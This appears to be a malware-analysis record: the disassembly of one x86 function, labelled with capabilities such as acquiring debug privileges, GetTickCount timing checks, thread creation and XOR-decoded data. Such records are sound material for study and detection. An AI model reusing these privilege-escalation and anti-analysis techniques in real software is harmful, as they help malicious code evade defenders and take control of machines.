Function at 0x10004a50
Capabilities:
Acquire debug privileges
Check for time delay via gettickcount
Create thread
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x10c
mov eax, dword [0x1001c018]
xor eax, esp
mov dword [esp + 0x108], eax
push ebx
push esi
push edi
call fcn.10005460
call fcn.1000be30
mov edi, 0x1011c9e8
call fcn.1000b030
test al, al
jne 0x10004ad3
push 0x100
push 0
push 0x10127548
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
jmp 0x10004aa0
mov cl, byte [eax + 0x100158a0]
sub cl, 0x1b
xor cl, 0xc
mov byte [eax + 0x10127548], cl
inc eax
cmp eax, 0x100
jb 0x10004aa0
push 0x10127548
push 0
mov ecx, 0x1011c7a8
call fcn.10005580
add esp, 8
call fcn.1000dc00
call fcn.1000c630
test al, al
jne 0x10004b25
push 0x100
push 0
push 0x10127548
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
mov dl, byte [eax + 0x10015aa0]
sub dl, 0x1b
xor dl, 0xc
mov byte [eax + 0x10127548], dl
inc eax
cmp eax, 0x100
jb 0x10004af2
push 0x10127548
push 0
mov ecx, 0x1011c7a8
call fcn.10005580
add esp, 8
call fcn.1000dc00
mov esi, str.SeDebugPrivilege
call fcn.1000e2e0
test al, al
jne 0x10004b52
mov eax, 0x15
call fcn.1000e2a0
push eax
push 0
mov ecx, 0x1011c7a8
call fcn.10005580
add esp, 8
call fcn.1000dc00
mov esi, str.SeShutdownPrivilege
call fcn.1000e2e0
test al, al
je 0x10004b33
call fcn.1000c200
test al, al
jne 0x10004b70
mov eax, 0x2d
jmp 0x10004b38
call fcn.10001430
test al, al
jne 0x10004bad
mov ecx, 4
push 0x1388
call fcn.10005ce0
push eax
push 2
mov eax, 0x10121b88
call fcn.1000e030
add esp, 0xc
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x108]
xor ecx, esp
call fcn.10011156
mov esp, ebp
pop ebp
ret
push 0x1011ca2e
mov ecx, 5
call fcn.10005ce0
push eax
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
lea ecx, [esp + 0x14]
push ecx
push 0
mov eax, 0x10121938
call fcn.1000e030
movzx edx, word [0x1011ca2c]
add esp, 0xc
push edx
mov ecx, 0x1011ca0c
call fcn.100014b0
test al, al
jne 0x10004bfe
mov ecx, 6
jmp 0x10004b7e
call fcn.10003010
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
push 1
mov ebx, 0x1f4
mov edi, eax
call fcn.1000dc60
add esp, 4
test al, al
jne 0x10004d63
call esi
sub eax, edi
cmp eax, 0xea60
ja 0x10004dab
cmp dword [0x1001c5fc], 0xffffffff
je 0x10004c45
cmp byte [0x1011c630], 0
jne 0x10004c6e
call fcn.10001430
test al, al
je 0x10004c6e
movzx eax, word [0x1011ca2c]
push eax
mov ecx, 0x1011ca0c
call fcn.100014b0
test al, al
je 0x10004c6e
call fcn.10003010
jmp 0x10004d4c
cmp dword [0x101220dc], 0
je 0x10004d4c
cmp dword [0x101220e0], 0
je 0x10004d4c
cmp dword [0x101220e4], 0
je 0x10004d4c
cmp dword [0x101220e8], 0
je 0x10004d4c
cmp dword [0x101220ec], 0
je 0x10004d4c
mov ecx, dword [0x1011c780]
sub ecx, dword [0x1011c77c]
mov eax, 0x7d8c42b3
imul ecx
mov ecx, dword [0x1011c770]
sub ecx, dword [0x1011c76c]
sar edx, 7
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
mov eax, 0x3e0f83e1
imul ecx
mov ecx, dword [0x1011c790]
sub ecx, dword [0x1011c78c]
sar edx, 6
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov dword [esp + 0xc], eax
mov eax, 0x7e07e07f
imul ecx
mov eax, dword [esp + 0xc]
mov ecx, dword [0x1011c760]
sub ecx, dword [0x1011c75c]
sar edx, 5
add eax, edx
mov ebx, edx
shr ebx, 0x1f
add ebx, eax
mov eax, 0x38e38e39
imul ecx
mov eax, dword [0x101220fc]
add eax, dword [0x101220f8]
sar edx, 4
add eax, dword [0x101220f4]
mov ecx, edx
add eax, dword [0x101220f0]
shr ecx, 0x1f
add ebx, edx
add ecx, ebx
cmp ecx, eax
je 0x10004d63
push 1
mov ebx, 0x1f4
call fcn.1000dc60
add esp, 4
test al, al
je 0x10004c24
mov ecx, dword [0x101220fc]
mov edx, dword [0x101220f8]
mov eax, dword [0x101220f4]
push ecx
mov ecx, dword [0x101220f0]
push edx
push eax
push ecx
mov eax, 0x18
call fcn.1000e2a0
push eax
push 0
mov ecx, 0x1011c7a8
call fcn.10005580
add esp, 0x18
call fcn.1000c630
test al, al
jne 0x10004db5
mov ecx, 0x14
jmp 0x10004b7e
mov ecx, 7
jmp 0x10004b7e
call fcn.10003f40
mov edi, 0x1011c9e8
call fcn.1000b140
call fcn.1000b370
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x101271f8
push 0
push 0
push 0x10004710
push 0
push 0
call edi
push 0x101271fc
push 0
push 0
push 0x10004380
push 0
push 0
mov dword [0x1012208c], eax
call edi
push 0x10127200
push 0
push 0
push 0x10004120
push 0
push 0
mov dword [0x10122090], eax
call edi
push 0x10127208
push 0
push 0
push 0x100040e0
push 0
push 0
mov dword [0x10122094], eax
call edi
mov edx, dword [0x1012208c]
push 2
push edx
mov dword [0x10122098], eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push 0x7d0
push 1
push 0x1012208c
push 3
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
call fcn.100057c0
mov byte [0x101271dc], 1
call esi
mov dword [0x101271e0], eax
call fcn.10001f00
mov esi, 0x10121938
call fcn.1000daa0
mov edi, 0x1011c9e8
call fcn.1000b270
mov eax, 0x2c
call fcn.1000e2a0
push eax
push 0
mov ecx, 0x1011c7a8
call fcn.10005580
mov ecx, dword [esp + 0x11c]
add esp, 8
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.10011156
mov esp, ebp
pop ebp
ret